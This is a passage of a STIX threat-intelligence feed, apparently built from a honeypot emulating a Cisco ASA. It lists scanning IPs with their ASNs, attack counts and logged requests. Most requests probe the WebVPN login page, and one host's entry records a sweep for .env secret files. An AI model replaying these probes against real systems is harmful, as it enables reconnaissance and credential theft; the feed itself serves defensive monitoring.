        }
      }
    },
    {
      "created": "2026-04-16T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--40c6ba32-7cf3-4613-aa14-e5a6d19753ef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.98.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T05:20:11.000Z",
      "valid_until": "2026-05-18T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-16T04:38:01.130Z",
          "last_seen": "2026-04-16T04:38:10.825Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--8750c0c3-077f-41a6-9b08-946b701e7ed4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T05:20:11.000Z",
      "valid_until": "2026-05-18T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 42,
          "first_seen": "2026-04-16T05:11:33.922Z",
          "last_seen": "2026-04-30T02:44:54.035Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--44bc6a3c-e816-4625-94b3-f5f2aac6aa06",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T05:20:11.000Z",
      "valid_until": "2026-05-18T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-16T04:50:45.332Z",
          "last_seen": "2026-04-16T05:04:39.888Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.env HTTP/1.1\" 404 - geo: FR; ASN 12322 (Free SAS)",
      "id": "indicator--090dee18-e1ec-4d7e-a513-0b8bff423821",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '82.67.201.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T05:20:11.000Z",
      "valid_until": "2026-05-18T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 26,
          "first_seen": "2026-04-16T04:34:42.711Z",
          "last_seen": "2026-04-16T04:43:54.518Z",
          "country": "France",
          "country_code": "FR",
          "asn": 12322,
          "as_org": "Free SAS",
          "event_types": [
            "\"GET /.env HTTP/1.1\" 404 -",
            "\"GET /.env.local HTTP/1.1\" 404 -",
            "\"GET /.env.production HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /.env.backup HTTP/1.1\" 404 -",
            "\"GET /.env.bak HTTP/1.1\" 404 -",
            "\"GET /.env.dev HTTP/1.1\" 404 -",
            "\"GET /.env.development HTTP/1.1\" 404 -",
            "\"GET /.env.development.local HTTP/1.1\" 404 -",
            "\"GET /.env.docker HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--b9d1fabc-fd42-4ef2-bf78-a6ba93958296",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '134.122.78.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T06:20:11.000Z",
      "valid_until": "2026-05-18T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-16T05:28:24.943Z",
          "last_seen": "2026-04-16T05:28:27.945Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 6233 (xTom)",
      "id": "indicator--433fe099-3a40-4c30-973d-03d98a01c9f1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.147.89.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T06:20:11.000Z",
      "valid_until": "2026-05-18T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-15T01:38:56.546Z",
          "last_seen": "2026-04-29T01:58:07.880Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6233,
          "as_org": "xTom",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--0f345bba-cee8-4504-9eef-28a3b21c01c4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.166.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T06:20:11.000Z",
      "valid_until": "2026-05-18T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-16T05:46:06.240Z",
          "last_seen": "2026-04-25T03:39:34.690Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 400882 (Cyber Data LLC)",
      "id": "indicator--de2b3c7b-6e9d-4cdc-b395-e027ebe2846a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.162.40.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T06:20:11.000Z",
      "valid_until": "2026-05-18T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 17,
          "first_seen": "2026-04-16T06:16:22.221Z",
          "last_seen": "2026-04-30T02:43:48.309Z",
          "country": "United States",
          "country_code": "US",
          "asn": 400882,
          "as_org": "Cyber Data LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--044f9913-e5de-484a-88d3-6a29b930741e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.107.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T06:20:11.000Z",
      "valid_until": "2026-05-18T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-16T06:08:05.504Z",
          "last_seen": "2026-04-18T23:55:20.710Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e7062f91-f6ed-4357-b202-d7cdac7c21b0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T06:20:11.000Z",
      "valid_until": "2026-05-18T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-16T05:47:24.485Z",
          "last_seen": "2026-04-30T01:39:16.789Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T07:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--0f1cce25-2987-4977-bbaa-25fd2f388397",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T07:20:05.000Z",
      "valid_until": "2026-05-18T07:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-16T06:35:53.678Z",
          "last_seen": "2026-04-16T06:35:59.726Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T07:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--de747b44-2503-4b6a-baac-a3ff838201b2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T07:20:05.000Z",
      "valid_until": "2026-05-18T07:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-16T07:16:07.753Z",
          "last_seen": "2026-04-16T07:16:16.214Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T07:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--99c09843-2e74-4278-8812-8d10533ce63e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T07:20:05.000Z",
      "valid_until": "2026-05-18T07:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-16T07:18:57.705Z",
          "last_seen": "2026-04-28T04:22:48.601Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-17T01:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--18d4b1f3-d522-4230-8e34-7466c158172d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '52.207.238.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T01:20:18.000Z",
      "valid_until": "2026-05-19T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-17T01:02:03.678Z",
          "last_seen": "2026-04-17T01:02:06.679Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-17T01:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--a7d43f18-68c7-43f1-a806-f821ada7aceb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '54.163.45.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T01:20:18.000Z",
      "valid_until": "2026-05-19T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-17T01:02:01.584Z",
          "last_seen": "2026-04-17T01:02:01.584Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--60042cbb-71f5-4d1e-b926-43b8829cb2fc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.76.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T01:20:11.000Z",
      "valid_until": "2026-05-20T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T00:49:55.887Z",
          "last_seen": "2026-04-25T05:57:35.656Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--702d2d3b-7e64-4fe9-911b-530b531b4920",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.82.92.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T01:20:11.000Z",
      "valid_until": "2026-05-20T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-18T01:00:19.179Z",
          "last_seen": "2026-04-18T01:00:22.182Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--960ece6b-afc3-4408-8b19-9e5bbd4b84ca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T01:20:11.000Z",
      "valid_until": "2026-05-20T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T00:55:47.989Z",
          "last_seen": "2026-04-25T05:17:34.070Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--d1fb9a2a-4840-4c65-af20-eb4d08b10c81",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '44.202.144.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T01:20:11.000Z",
      "valid_until": "2026-05-20T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-18T00:53:40.983Z",
          "last_seen": "2026-04-18T00:53:40.983Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--d05696f1-74d5-476d-b59d-d0d23117f76b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '54.211.193.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T01:20:11.000Z",
      "valid_until": "2026-05-20T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-18T01:00:22.528Z",
          "last_seen": "2026-04-18T01:00:22.528Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T02:20:52.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--3f9353ed-c809-4964-9746-f0adfc72968d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.27.106']",
